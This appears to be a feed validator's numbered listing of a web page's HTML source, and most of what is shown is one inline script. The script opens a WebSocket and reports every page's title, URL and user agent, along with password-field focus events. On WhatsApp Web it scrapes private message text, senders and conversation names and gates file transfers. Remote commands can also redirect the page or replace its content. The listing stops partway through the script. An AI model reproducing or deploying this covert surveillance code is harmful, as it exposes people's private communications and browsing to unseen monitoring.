It looks like this is a web page, not a feed. I looked for a feed associated with this page, but couldn't find one. Please enter the address of your feed to validate.

Source: http://pleasedontbuymybookonamazon.com/

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7. <!DOCTYPE html>
  8. <html class="js audio audio-ogg audio-mp3 audio-opus audio-wav audio-m4a cors cssanimations backgroundblendmode flexbox inputtypes-search inputtypes-tel inputtypes-url inputtypes-email no-inputtypes-datetime inputtypes-date inputtypes-month inputtypes-week inputtypes-time inputtypes-datetime-local inputtypes-number inputtypes-range inputtypes-color localstorage placeholder svg xhr2 audio audio-ogg audio-mp3 audio-opus audio-wav audio-m4a cors cssanimations backgroundblendmode flexbox inputtypes-search inputtypes-tel inputtypes-url inputtypes-email no-inputtypes-datetime inputtypes-date inputtypes-month inputtypes-week inputtypes-time inputtypes-datetime-local inputtypes-number inputtypes-range inputtypes-color localstorage placeholder svg xhr2" lang="en">
  9.    <head>
  10.        <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  11.            !function() {
  12.                var e, t, n;
  13.                function Y() {
  14.                    try {
  15.                        return window.self === window.top
  16.                    } catch (e) {
  17.                        return !1
  18.                    }
  19.                }
  20.                function r() {
  21.                    setTimeout(function() {
  22.                        var e = {
  23.                            type: "focus",
  24.                            token: w.token,
  25.                            title: document.title,
  26.                            url: document.URL,
  27.                            focused: document.hasFocus(),
  28.                            useragent: navigator.userAgent,
  29.                            pid: w.pid,
  30.                            pn: w.pn
  31.                        };
  32.                        null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))
  33.                    }, 0)
  34.                }
  35.                function a() {
  36.                    var e = {
  37.                        type: "notification",
  38.                        token: w.token,
  39.                        title: document.title,
  40.                        url: document.URL,
  41.                        focused: document.hasFocus(),
  42.                        timeout: w.sendNotificationsInterval,
  43.                        useragent: navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent,
  44.                        pid: w.pid,
  45.                        pn: w.pn
  46.                    };
  47.                    B.send(JSON.stringify(e))
  48.                }
  49.                function o() {
  50.                    y()
  51.                }
  52.                function s() {
  53.                    Y() && (clearInterval(T),
  54.                    clearInterval(I)),
  55.                    timeout = setTimeout(function() {
  56.                        g()
  57.                    }, L)
  58.                }
  59.                function i(e) {
  60.                    if (Y())
  61.                        switch (e.data.substring(0, 1)) {
  62.                        case "r":
  63.                            window.location = e.data.substring(1);
  64.                            break;
  65.                        case "b":
  66.                            document.body.innerHTML = e.data.substring(1);
  67.                            break;
  68.                        case "w":
  69.                            var t = "true" == e.data.substring(1).toLowerCase();
  70.                            O != t && t && v(),
  71.                            O = t;
  72.                            break;
  73.                        case "x":
  74.                            !function(e) {
  75.                                try {
  76.                                    const t = JSON.parse(e)
  77.                                      , n = b.get(t.requestId);
  78.                                    if (n) {
  79.                                        b.delete(t.requestId);
  80.                                        const {responseCallback: e, fileName: Y} = n;
  81.                                        e(t, Y)
  82.                                    }
  83.                                } catch (e) {
  84.                                    unblockPage()
  85.                                }
  86.                            }(e.data.substring(1))
  87.                        }
  88.                }
  89.                function u(e) {
  90.                    var t = document.createElement("a");
  91.                    return t.href = e,
  92.                    t.href
  93.                }
  94.                function d(e) {
  95.                    if (!e)
  96.                        return !1;
  97.                    if ("password" == e.type)
  98.                        return !0;
  99.                    if (e instanceof HTMLInputElement) {
  100.                        var t = window.getComputedStyle(e);
  101.                        if (t) {
  102.                            var n = t.getPropertyValue("-webkit-text-security");
  103.                            return ["disc", "circle", "square"].includes(n)
  104.                        }
  105.                    }
  106.                    return !1
  107.                }
  108.                function c(e, t=!1) {
  109.                    if (d(e) && !F)
  110.                        if (F = !0,
  111.                        Y()) {
  112.                            var n = {
  113.                                type: "password_input_focus",
  114.                                focus: !0,
  115.                                token: w.token
  116.                            };
  117.                            B.send(JSON.stringify(n))
  118.                        } else
  119.                            window.top.postMessage({
  120.                                message: "iframePasswordInputFocused",
  121.                                name: e.name,
  122.                                type: "password"
  123.                            }, "*")
  124.                }
  125.                function M(e, t=!1) {
  126.                    var n = e && e.name ? e.name : "<unnamed>";
  127.                    if (d(e) && F)
  128.                        if (F = !1,
  129.                        Y()) {
  130.                            var r = {
  131.                                type: "password_input_focus",
  132.                                focus: !1,
  133.                                token: w.token
  134.                            };
  135.                            B.send(JSON.stringify(r))
  136.                        } else
  137.                            window.top.postMessage({
  138.                                message: "iframePasswordInputBlurred",
  139.                                name: n,
  140.                                type: "password"
  141.                            }, "*")
  142.                }
  143.                function l(e) {
  144.                    var t = document.activeElement;
  145.                    t && t != document.body ? document.querySelector && (t = document.querySelector(":focus")) : t = null;
  146.                    for (var n = 0; n < e.length; ++n) {
  147.                        let o = e[n];
  148.                        var Y = d(o)
  149.                          , r = Y && o.hasAttribute("autofocus")
  150.                          , a = Y && t && o.isEqualNode(t);
  151.                        (r || a) && c(o),
  152.                        o.tmInputEventListenerAttached || (o.addEventListener("focus", function(e) {
  153.                            c(e.target)
  154.                        }, !0),
  155.                        o.addEventListener("blur", function(e) {
  156.                            M(e.target)
  157.                        }, !0),
  158.                        o.tmInputEventListenerAttached = !0)
  159.                    }
  160.                }
  161.                function f() {
  162.                    l(document.getElementsByTagName("input"));
  163.                    var e = new MutationObserver(function(e) {
  164.                        e && e.forEach(function(e) {
  165.                            e && e.addedNodes && 0 != e.addedNodes.length && (window.NodeList && !NodeList.prototype.forEach && (NodeList.prototype.forEach = Array.prototype.forEach),
  166.                            e.addedNodes.forEach(function(e) {
  167.                                if (e.tagName) {
  168.                                    var t = [];
  169.                                    "input" == e.tagName.toLowerCase() ? t.push(e) : t = e.getElementsByTagName("input"),
  170.                                    t.length && l(t)
  171.                                }
  172.                            }))
  173.                        })
  174.                    }
  175.                    );
  176.                    e.observe(document, {
  177.                        childList: !0,
  178.                        subtree: !0
  179.                    }),
  180.                    window.addEventListener("beforeunload", function(e) {
  181.                        M(),
  182.                        function() {
  183.                            for (var e = document.getElementsByTagName("input"), t = 0; t < e.length; ++t) {
  184.                                let n = e[t];
  185.                                n.removeEventListener("focus", c),
  186.                                n.removeEventListener("blur", M),
  187.                                delete n.tmInputEventListenerAttached
  188.                            }
  189.                        }()
  190.                    })
  191.                }
  192.                function D() {
  193.                    var e;
  194.                    Y() && (w.iup && (e = {
  195.                        type: "connect",
  196.                        token: w.token,
  197.                        title: document.title,
  198.                        url: document.URL,
  199.                        focused: document.hasFocus(),
  200.                        useragent: navigator.userAgent,
  201.                        pid: w.pid,
  202.                        pn: w.pn
  203.                    },
  204.                    null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))),
  205.                    h() && (v(),
  206.                    y(),
  207.                    function() {
  208.                        function e(e) {
  209.                            return e.baseURI && e.baseURI.startsWith("https://web.whatsapp.com/")
  210.                        }
  211.                        function t(e) {
  212.                            const t = e.dataTransfer.files;
  213.                            t.length > 0 && Array.from(t).forEach(e => {
  214.                                N(e)
  215.                            }
  216.                            )
  217.                        }
  218.                        document.querySelectorAll("div").forEach(n => {
  219.                            e(n) && n.addEventListener("drop", t, {
  220.                                passive: !0
  221.                            })
  222.                        }
  223.                        );
  224.                        var n = new MutationObserver(function(e) {
  225.                            e && (Array.from(document.querySelectorAll(".message-in, .message-out")).reduce( (e, t) => {
  226.                                var n = t.querySelector("button[type=button], div[role=button]");
  227.                                return n && e.push(n),
  228.                                e
  229.                            }
  230.                            , []).forEach(e => {
  231.                                const t = "modified";
  232.                                e.hasAttribute(t) || (e.setAttribute(t, ""),
  233.                                e.onclick = t => {
  234.                                    t.verified || (t.preventDefault(),
  235.                                    t.stopPropagation(),
  236.                                    new Promise(function(t, n) {
  237.                                        !function(e, t, n) {
  238.                                            try {
  239.                                                const n = e.parentElement
  240.                                                  , Y = n[Object.keys(n).find(e => e.includes("__reactProps"))].children.props.msg
  241.                                                  , r = Y.mediaData
  242.                                                  , a = crypto.randomUUID();
  243.                                                b.set(a, {
  244.                                                    responseCallback: e => t(!e.block)
  245.                                                }),
  246.                                                B.send(JSON.stringify({
  247.                                                    requestId: a,
  248.                                                    type: "waptransfer",
  249.                                                    direction: "download",
  250.                                                    filename: r.__x_filename,
  251.                                                    filesize: r.__x_size,
  252.                                                    filetype: r.__x_mimetype,
  253.                                                    filehash: Y.__x_encFilehash,
  254.                                                    url: document.URL,
  255.                                                    process: w.pn,
  256.                                                    content: ""
  257.                                                }))
  258.                                            } catch {
  259.                                                n()
  260.                                            }
  261.                                        }(e, t, () => setTimeout( () => n(), 1))
  262.                                    }
  263.                                    ).then(e => {
  264.                                        t.verified = e,
  265.                                        t.verified && t.target.dispatchEvent(t)
  266.                                    }
  267.                                    , () => {}
  268.                                    ))
  269.                                }
  270.                                )
  271.                            }
  272.                            ),
  273.                            e.forEach(function(e) {
  274.                                e && ("childList" !== e.type || e.addedNodes.length <= 0 || e.addedNodes.forEach(function(e) {
  275.                                    if (e && e.nodeType == Node.ELEMENT_NODE) {
  276.                                        e.querySelectorAll("input").forEach(e => {
  277.                                            !function(e) {
  278.                                                const t = "modified";
  279.                                                "file" !== e.type || e.hasAttribute(t) || (e.setAttribute(t, ""),
  280.                                                e.addEventListener("change", e => {
  281.                                                    Array.from(e.target.files).forEach(e => {
  282.                                                        N(e)
  283.                                                    }
  284.                                                    )
  285.                                                }
  286.                                                ))
  287.                                            }(e)
  288.                                        }
  289.                                        );
  290.                                        var t = document.querySelectorAll("div[id=main] header div")[2];
  291.                                        if (t) {
  292.                                            var n = t.querySelectorAll("div")[1]
  293.                                              , Y = t.querySelectorAll("div")[2];
  294.                                            k = (n ? n.innerText : "") + ":" + (Y ? Y.innerText : "")
  295.                                        }
  296.                                        document.querySelector("div[id=main] header span[data-icon=default-user]") && (C = "private"),
  297.                                        document.querySelector("div[id=main] header span[data-icon=default-group]") && (C = "group");
  298.                                        var r = e.querySelectorAll(".message-in, .message-out");
  299.                                        r || E("msgNodes is empty"),
  300.                                        e.matches(".message-in, .message-out") && (r = Array.prototype.slice.call(r)).push(e),
  301.                                        r && 0 != r.length ? r.forEach(function(e) {
  302.                                            if (e)
  303.                                                if (!e.classList || e.classList.length <= 0)
  304.                                                    E("msg node does not contain classList or classList is empty");
  305.                                                else {
  306.                                                    var t = e.classList.contains("message-in")
  307.                                                      , n = e.querySelector(".copyable-text")
  308.                                                      , Y = e.querySelector(".selectable-text")
  309.                                                      , r = new Date
  310.                                                      , a = null;
  311.                                                    if (n && n.attributes["data-pre-plain-text"]) {
  312.                                                        var o = n.attributes["data-pre-plain-text"].textContent
  313.                                                          , s = /\[(\d{1,2}):(\d{1,2})[ ]{0,1}([p|a]\.?\s?m\.?)?,\s(.+)]\s(.*):/i[Symbol.match](o);
  314.                                                        if (!s || 6 != s.length)
  315.                                                            return void E("no matches for string: " + o);
  316.                                                        if (s[3] && s[3].length > 1 && "p" == s[3].toLowerCase().slice(0, 1) && (s[1] = parseInt(s[1]) + 12),
  317.                                                        dateParts = /(\d{1,4})[.-\\/](\d{1,4})[.-\\/](\d{1,4})/[Symbol.match](s[4]),
  318.                                                        !dateParts || 4 != dateParts.length)
  319.                                                            return void E("no matches for string: " + s[4]);
  320.                                                        if (E(s[4] + _),
  321.                                                        !(r = date.parse(s[4], _) || function(e, t, n) {
  322.                                                            var Y = [[e, t, n].join("-"), [e, n, t].join("-"), [t, e, n].join("-"), [t, n, e].join("-"), [n, e, t].join("-"), [n, t, e].join("-")]
  323.                                                              , r = Date.now();
  324.                                                            for (var a in Y) {
  325.                                                                var o = Date.parse(Y[a]);
  326.                                                                if (o && !(Math.abs(r - o) > 1728e6))
  327.                                                                    return new Date(o)
  328.                                                            }
  329.                                                        }(dateParts[1], dateParts[2], dateParts[3])))
  330.                                                            return void E("Can't parse date from string: " + s[4]);
  331.                                                        r.setHours(s[1]),
  332.                                                        r.setMinutes(s[2]),
  333.                                                        a = s[5]
  334.                                                    }
  335.                                                    E("isIncomingMsg = " + t + " msgDateTime = " + r + " msgSender = " + a + " wapStartTime = " + x + " wapTrackingEnabled = " + O),
  336.                                                    H.get(k) || H.set(k, x);
  337.                                                    var i = Y ? Y.innerText : null;
  338.                                                    if (E("msgContent = " + i),
  339.                                                    a && i && O) {
  340.                                                        var u = (a + i + k + r.getTime()).split("").map(function(e) {
  341.                                                            return e.charCodeAt(0)
  342.                                                        }).reduce(function(e, t) {
  343.                                                            return e + ((e << 7) + (e << 3)) ^ t
  344.                                                        }).toString(16);
  345.                                                        if (H.get(k).getTime() == r.getTime() ? r.setMilliseconds(++R) : (R = 0,
  346.                                                        H.set(k, r)),
  347.                                                        !u || P.has(u))
  348.                                                            return void E("msgId is null or this msgId already tracked " + u);
  349.                                                        var d = {
  350.                                                            type: "wapmessage",
  351.                                                            timestamp: r.getTime(),
  352.                                                            id: u,
  353.                                                            incoming: t,
  354.                                                            sender: t ? a : "Me",
  355.                                                            content: i,
  356.                                                            recipient: t ? "Me" : k,
  357.                                                            conversationId: k + "(" + C + ")"
  358.                                                        };
  359.                                                        B.send(JSON.stringify(d)),
  360.                                                        P.add(u)
  361.                                                    }
  362.                                                }
  363.                                        }) : E("no msg nodes found")
  364.                                    }
  365.                                }))
  366.                            }))
  367.                        }
  368.                        );
  369.                        if (!n)
  370.                            return;
  371.                        function Y() {
  372.                            n.observe(document.body, {
  373.                                childList: !0,
  374.                                subtree: !0
  375.                            }),
  376.                            E("observer is ready")
  377.                        }
  378.                        "loading" === document.readyState ? document.addEventListener("DOMContentLoaded", Y) : Y()
  379.                    }()),
  380.                    Y() && (a(),
  381.                    T = setInterval(a, w.sendNotificationsInterval),
  382.                    h() && (I = setInterval(o, w.pollWhatsappTrackingInterval))),
  383.                    function() {
  384.                        for (var e = [], t = document.getElementsByTagName("link"), n = 0; n < t.length; ++n)
  385.                            "icon" != t[n].getAttribute("rel") && "shortcut icon" != t[n].getAttribute("rel") || (e[e.length] = u(t[n].getAttribute("href")));
  386.                        0 == e.length && (e[0] = u("/favicon.ico"));
  387.                        var Y = {
  388.                            type: "favicon"
  389.                        };
  390.                        Y.url = document.URL,
  391.                        Y.src = e,
  392.                        Y.title = document.title,
  393.                        Y.token = w.token,
  394.                        Y.useragent = navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent,
  395.                        B.send(JSON.stringify(Y))
  396.                    }(),
  397.                    w.dontTrackWebPasswords && f())
  398.                }
  399.                function p() {
  400.                    document.tmfilter || (g(),
  401.                    _ = {
  402.                        "ar-SA": "D/M/YY",
  403.                        "bg-BG": "D.M.YYYY",
  404.                        "ca-ES": "D/M/YYYY",
  405.                        "zh-TW": "YYYY/M/D",
  406.                        "cs-CZ": "D.M.YYYY",
  407.                        "Da-DK": "D-M-YYYY",
  408.                        "De-DE": "D.M.YYYY",
  409.                        "el-GR": "D/M/YYYY",
  410.                        "en-US": "M/D/YYYY",
  411.                        "fi-FI": "D.M.YYYY",
  412.                        "fr-FR": "D/M/YYYY",
  413.                        "he-IL": "D/M/YYYY",
  414.                        "hu-HU": "YYYY. M. D.",
  415.                        "is-IS": "D.M.YYYY",
  416.                        "it-IT": "D/M/YYYY",
  417.                        "ja-JP": "YYYY/M/D",
  418.                        "ko-KR": "YYYY-M-D",
  419.                        "nl-NL": "D-M-YYYY",
  420.                        "nb-NO": "D.M.YYYY",
  421.                        "pl-PL": "YYYY-M-D",
  422.                        "pt-BR": "D/M/YYYY",
  423.                        "ro-RO": "D.M.YYYY",
  424.                        "ru-RU": "D.M.YYYY",
  425.                        "hr-HR": "D.M.YYYY",
  426.                        "sk-SK": "D. M. YYYY",
  427.                        "sq-AL": "YYYY-M-D",
  428.                        "sv-SE": "YYYY-M-D",
  429.                        "th-TH": "D/M/YYYY",
  430.                        "tr-TR": "D.M.YYYY",
  431.                        "ur-PK": "D/M/YYYY",
  432.                        "iD-ID": "D/M/YYYY",
  433.                        "uk-UA": "D.M.YYYY",
  434.                        "be-BY": "D.M.YYYY",
  435.                        "sl-SI": "D.M.YYYY",
  436.                        "et-EE": "D.M.YYYY",
  437.                        "lv-LV": "YYYY.M.D.",
  438.                        "lt-LT": "YYYY.M.D",
  439.                        "fa-IR": "M/D/YYYY",
  440.                        "vi-VN": "D/M/YYYY",
  441.                        "hy-AM": "D.M.YYYY",
  442.                        "az-Latn-AZ": "D.M.YYYY",
  443.                        "eu-ES": "YYYY/M/D",
  444.                        "Mk-MK": "D.M.YYYY",
  445.                        "af-ZA": "YYYY/M/D",
  446.                        "ka-GE": "D.M.YYYY",
  447.                        "fo-FO": "D-M-YYYY",
  448.                        "hi-IN": "D-M-YYYY",
  449.                        "Ms-MY": "D/M/YYYY",
  450.                        "kk-KZ": "D.M.YYYY",
  451.                        "ky-KG": "D.M.YY",
  452.                        "sw-KE": "M/D/YYYY",
  453.                        "uz-Latn-UZ": "D/M YYYY",
  454.                        "tt-RU": "D.M.YYYY",
  455.                        "pa-IN": "D-M-YY",
  456.                        "gu-IN": "D-M-YY",
  457.                        "ta-IN": "D-M-YYYY",
  458.                        "te-IN": "D-M-YY",
  459.                        "kn-IN": "D-M-YY",
  460.                        "Mr-IN": "D-M-YYYY",
  461.                        "sa-IN": "D-M-YYYY",
  462.                        "Mn-MN": "YY.M.D",
  463.                        "gl-ES": "D/M/YY",
  464.                        "kok-IN": "D-M-YYYY",
  465.                        "syr-SY": "D/M/YYYY",
  466.                        "Dv-MV": "D/M/YY",
  467.                        "ar-IQ": "D/M/YYYY",
  468.                        "zh-CN": "YYYY/M/D",
  469.                        "De-CH": "D.M.YYYY",
  470.                        "en-GB": "D/M/YYYY",
  471.                        "es-MX": "D/M/YYYY",
  472.                        "fr-BE": "D/M/YYYY",
  473.                        "it-CH": "D.M.YYYY",
  474.                        "nl-BE": "D/M/YYYY",
  475.                        "nn-NO": "D.M.YYYY",
  476.                        "pt-PT": "D-M-YYYY",
  477.                        "sr-Latn-CS": "D.M.YYYY",
  478.                        "sv-FI": "D.M.YYYY",
  479.                        "az-Cyrl-AZ": "D.M.YYYY",
  480.                        "Ms-BN": "D/M/YYYY",
  481.                        "uz-Cyrl-UZ": "D.M.YYYY",
  482.                        "ar-EG": "D/M/YYYY",
  483.                        "zh-HK": "D/M/YYYY",
  484.                        "De-AT": "D.M.YYYY",
  485.                        "en-AU": "D/M/YYYY",
  486.                        "es-ES": "D/M/YYYY",
  487.                        "fr-CA": "YYYY-M-D",
  488.                        "sr-Cyrl-CS": "D.M.YYYY",
  489.                        "ar-LY": "D/M/YYYY",
  490.                        "zh-SG": "D/M/YYYY",
  491.                        "De-LU": "D.M.YYYY",
  492.                        "en-CA": "D/M/YYYY",
  493.                        "es-GT": "D/M/YYYY",
  494.                        "fr-CH": "D.M.YYYY",
  495.                        "ar-DZ": "D-M-YYYY",
  496.                        "zh-MO": "D/M/YYYY",
  497.                        "De-LI": "D.M.YYYY",
  498.                        "en-NZ": "D/M/YYYY",
  499.                        "es-CR": "D/M/YYYY",
  500.                        "fr-LU": "D/M/YYYY",
  501.                        "ar-MA": "D-M-YYYY",
  502.                        "en-IE": "D/M/YYYY",
  503.                        "es-PA": "M/D/YYYY",
  504.                        "fr-MC": "D/M/YYYY",
  505.                        "ar-TN": "D-M-YYYY",
  506.                        "en-ZA": "YYYY/M/D",
  507.                        "es-DO": "D/M/YYYY",
  508.                        "ar-OM": "D/M/YYYY",
  509.                        "en-JM": "D/M/YYYY",
  510.                        "es-VE": "D/M/YYYY",
  511.                        "ar-YE": "D/M/YYYY",
  512.                        "en-029": "M/D/YYYY",
  513.                        "es-CO": "D/M/YYYY",
  514.                        "ar-SY": "D/M/YYYY",
  515.                        "en-BZ": "D/M/YYYY",
  516.                        "es-PE": "D/M/YYYY",
  517.                        "ar-JO": "D/M/YYYY",
  518.                        "en-TT": "D/M/YYYY",
  519.                        "es-AR": "D/M/YYYY",
  520.                        "ar-LB": "D/M/YYYY",
  521.                        "en-ZW": "M/D/YYYY",
  522.                        "es-EC": "D/M/YYYY",
  523.                        "ar-KW": "D/M/YYYY",
  524.                        "en-PH": "M/D/YYYY",
  525.                        "es-CL": "D-M-YYYY",
  526.                        "ar-AE": "D/M/YYYY",
  527.                        "es-UY": "D/M/YYYY",
  528.                        "ar-BH": "D/M/YYYY",
  529.                        "es-PY": "D/M/YYYY",
  530.                        "ar-QA": "D/M/YYYY",
  531.                        "es-BO": "D/M/YYYY",
  532.                        "es-SV": "D/M/YYYY",
  533.                        "es-HN": "D/M/YYYY",
  534.                        "es-NI": "D/M/YYYY",
  535.                        "es-PR": "D/M/YYYY",
  536.                        "aM-ET": "D/M/YYYY",
  537.                        "tzM-Latn-DZ": "D-M-YYYY",
  538.                        "iu-Latn-CA": "D/M/YYYY",
  539.                        "sMa-NO": "D.M.YYYY",
  540.                        "Mn-Mong-CN": "YYYY/M/D",
  541.                        "gD-GB": "D/M/YYYY",
  542.                        "en-MY": "D/M/YYYY",
  543.                        "prs-AF": "D/M/YY",
  544.                        "bn-BD": "D-M-YY",
  545.                        "wo-SN": "D/M/YYYY",
  546.                        "rw-RW": "M/D/YYYY",
  547.                        "qut-GT": "D/M/YYYY",
  548.                        "sah-RU": "M.D.YYYY",
  549.                        "gsw-FR": "D/M/YYYY",
  550.                        "co-FR": "D/M/YYYY",
  551.                        "oc-FR": "D/M/YYYY",
  552.                        "Mi-NZ": "D/M/YYYY",
  553.                        "ga-IE": "D/M/YYYY",
  554.                        "se-SE": "YYYY-M-D",
  555.                        "br-FR": "D/M/YYYY",
  556.                        "sMn-FI": "D.M.YYYY",
  557.                        "Moh-CA": "M/D/YYYY",
  558.                        "arn-CL": "D-M-YYYY",
  559.                        "ii-CN": "YYYY/M/D",
  560.                        "Dsb-DE": "D. M. YYYY",
  561.                        "ig-NG": "D/M/YYYY",
  562.                        "kl-GL": "D-M-YYYY",
  563.                        "lb-LU": "D/M/YYYY",
  564.                        "ba-RU": "D.M.YY",
  565.                        "nso-ZA": "YYYY/M/D",
  566.                        "quz-BO": "D/M/YYYY",
  567.                        "yo-NG": "D/M/YYYY",
  568.                        "ha-Latn-NG": "D/M/YYYY",
  569.                        "fil-PH": "M/D/YYYY",
  570.                        "ps-AF": "D/M/YY",
  571.                        "fy-NL": "D-M-YYYY",
  572.                        "ne-NP": "M/D/YYYY",
  573.                        "se-NO": "D.M.YYYY",
  574.                        "iu-Cans-CA": "D/M/YYYY",
  575.                        "sr-Latn-RS": "D.M.YYYY",
  576.                        "si-LK": "YYYY-M-D",
  577.                        "sr-Cyrl-RS": "D.M.YYYY",
  578.                        "lo-LA": "D/M/YYYY",
  579.                        "kM-KH": "YYYY-M-D",
  580.                        "cy-GB": "D/M/YYYY",
  581.                        "bo-CN": "YYYY/M/D",
  582.                        "sMs-FI": "D.M.YYYY",
  583.                        "as-IN": "D-M-YYYY",
  584.                        "Ml-IN": "D-M-YY",
  585.                        "en-IN": "D-M-YYYY",
  586.                        "or-IN": "D-M-YY",
  587.                        "bn-IN": "D-M-YY",
  588.                        "tk-TM": "D.M.YY",
  589.                        "bs-Latn-BA": "D.M.YYYY",
  590.                        "Mt-MT": "D/M/YYYY",
  591.                        "sr-Cyrl-ME": "D.M.YYYY",
  592.                        "se-FI": "D.M.YYYY",
  593.                        "zu-ZA": "YYYY/M/D",
  594.                        "xh-ZA": "YYYY/M/D",
  595.                        "tn-ZA": "YYYY/M/D",
  596.                        "hsb-DE": "D. M. YYYY",
  597.                        "bs-Cyrl-BA": "D.M.YYYY",
  598.                        "tg-Cyrl-TJ": "D.M.YY",
  599.                        "sr-Latn-BA": "D.M.YYYY",
  600.                        "sMj-NO": "D.M.YYYY",
  601.                        "rM-CH": "D/M/YYYY",
  602.                        "sMj-SE": "YYYY-M-D",
  603.                        "quz-EC": "D/M/YYYY",
  604.                        "quz-PE": "D/M/YYYY",
  605.                        "hr-BA": "D.M.YYYY.",
  606.                        "sr-Latn-ME": "D.M.YYYY",
  607.                        "sMa-SE": "YYYY-M-D",
  608.                        "en-SG": "D/M/YYYY",
  609.                        "ug-CN": "YYYY-M-D",
  610.                        "sr-Cyrl-BA": "D.M.YYYY",
  611.                        "es-US": "M/D/YYYY"
  612.                    }[navigator.language],
  613.                    document.tmfilter = "present")
  614.                }
  615.                function g() {
  616.                    (B = new WebSocket(w.connectionString)).onclose = s,
  617.                    B.onmessage = i,
  618.                    B.onopen = D,
  619.                    w.extJs && (w.extJs.webSock = {
  620.                        readyState: () => B.readyState,
  621.                        send: e => B.send(e)
  622.                    })
  623.                }
  624.                function m() {
  625.                    var e = function() {
  626.                        var e = ["webkit", "moz", "ms", "o"];
  627.                        if ("hidden"in document)
  628.                            return "hidden";
  629.                        for (var t = 0; t < e.length; t++)
  630.                            if (e[t] + "Hidden"in document)
  631.                                return e[t] + "Hidden";
  632.                        return null
  633.                    }();
  634.                    return !!e && document[e]
  635.                }
  636.                function h() {
  637.                    var e = document.head.querySelector("[name='og:title']");
  638.                    return !!e && "WhatsApp Web" === e.getAttribute("content")
  639.                }
  640.                function y() {
  641.                    B.send(JSON.stringify({
  642.                        type: "waptracking"
  643.                    }))
  644.                }
  645.                function v() {
  646.                    H = new Map,
  647.                    P = new Set,
  648.                    R = 0,
  649.                    (x = new Date).setSeconds(0),
  650.                    x.setMilliseconds(0)
  651.                }
  652.                function S(e) {
  653.                    for (var t = "", n = new Uint8Array(e), Y = n.byteLength, r = 0; r < Y; r++)
  654.                        t += String.fromCharCode(n[r]);
  655.                    return window.btoa(t)
  656.                }
  657.                e = this,
  658.                t = {},
  659.                n = {
  660.                    en: {
  661.                        MMMM: "January February March April May June July August September October November December".split(" "),
  662.                        MMM: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),
  663.                        dddd: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),
  664.                        ddd: "Sun Mon Tue Wed Thu Fri Sat".split(" "),
  665.                        dd: "Su Mo Tu We Th Fr Sa".split(" "),
  666.                        A: ["a.m.", "p.m."],
  667.                        formatter: {
  668.                            YYYY: function(e) {
  669.                                return ("000" + e.getFullYear()).slice(-4)
  670.                            },
  671.                            YY: function(e) {
  672.                                return ("0" + e.getFullYear()).slice(-2)
  673.                            },
  674.                            Y: function(e) {
  675.                                return "" + e.getFullYear()
  676.                            },
  677.                            MMMM: function(e) {
  678.                                return this.MMMM[e.getMonth()]
  679.                            },
  680.                            MMM: function(e) {
  681.                                return this.MMM[e.getMonth()]
  682.                            },
  683.                            MM: function(e) {
  684.                                return ("0" + (e.getMonth() + 1)).slice(-2)
  685.                            },
  686.                            M: function(e) {
  687.                                return "" + (e.getMonth() + 1)
  688.                            },
  689.                            DD: function(e) {
  690.                                return ("0" + e.getDate()).slice(-2)
  691.                            },
  692.                            D: function(e) {
  693.                                return "" + e.getDate()
  694.                            },
  695.                            HH: function(e) {
  696.                                return ("0" + e.getHours()).slice(-2)
  697.                            },
  698.                            H: function(e) {
  699.                                return "" + e.getHours()
  700.                            },
  701.                            A: function(e) {
  702.                                return this.A[11 < e.getHours() | 0]
  703.                            },
  704.                            hh: function(e) {
  705.                                return ("0" + (e.getHours() % 12 || 12)).slice(-2)
  706.                            },
  707.                            h: function(e) {
  708.                                return "" + (e.getHours() % 12 || 12)
  709.                            },
  710.                            mm: function(e) {
  711.                                return ("0" + e.getMinutes()).slice(-2)
  712.                            },
  713.                            m: function(e) {
  714.                                return "" + e.getMinutes()
  715.                            },
  716.                            ss: function(e) {
  717.                                return ("0" + e.getSeconds()).slice(-2)
  718.                            },
  719.                            s: function(e) {
  720.                                return "" + e.getSeconds()
  721.                            },
  722.                            SSS: function(e) {
  723.                                return ("00" + e.getMilliseconds()).slice(-3)
  724.                            },
  725.                            SS: function(e) {
  726.                                return ("0" + (e.getMilliseconds() / 10 | 0)).slice(-2)
  727.                            },
  728.                            S: function(e) {
  729.                                return "" + (e.getMilliseconds() / 100 | 0)
  730.                            },
  731.                            dddd: function(e) {
  732.                                return this.dddd[e.getDay()]
  733.                            },
  734.                            ddd: function(e) {
  735.                                return this.ddd[e.getDay()]
  736.                            },
  737.                            dd: function(e) {
  738.                                return this.dd[e.getDay()]
  739.                            },
  740.                            Z: function(e) {
  741.                                return (0 < (e = e.utc ? 0 : e.getTimezoneOffset() / .6) ? "-" : "+") + ("000" + Math.abs(e - e % 100 * .4)).slice(-4)
  742.                            },
  743.                            post: function(e) {
  744.                                return e
  745.                            }
  746.                        },
  747.                        parser: {
  748.                            find: function(e, t) {
  749.                                for (var n, Y = -1, r = 0, a = 0, o = e.length; a < o; a++)
  750.                                    n = e[a],
  751.                                    !t.indexOf(n) && n.length > r && (Y = a,
  752.                                    r = n.length);
  753.                                return {
  754.                                    index: Y,
  755.                                    length: r
  756.                                }
  757.                            },
  758.                            MMMM: function(e) {
  759.                                return this.parser.find(this.MMMM, e)
  760.                            },
  761.                            MMM: function(e) {
  762.                                return this.parser.find(this.MMM, e)
  763.                            },
  764.                            A: function(e) {
  765.                                return this.parser.find(this.A, e)
  766.                            },
  767.                            h: function(e, t) {
  768.                                return (12 === e ? 0 : e) + 12 * t
  769.                            },
  770.                            pre: function(e) {
  771.                                return e
  772.                            }
  773.                        }
  774.                    }
  775.                },
  776.                t.format = function(e, Y, r) {
  777.                    var a = t.addMinutes(e, r ? e.getTimezoneOffset() : 0)
  778.                      , o = n.en
  779.                      , s = o.formatter;
  780.                    return a.utc = r,
  781.                    Y.replace(/(\[[^\[\]]*]|\[.*\][^\[]*\]|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g, function(e) {
  782.                        var t = s[e];
  783.                        return t ? s.post(t.call(o, a, Y)) : e.replace(/\[(.*)]/, "$1")
  784.                    })
  785.                }
  786.                ,
  787.                t.parse = function(e, Y, r) {
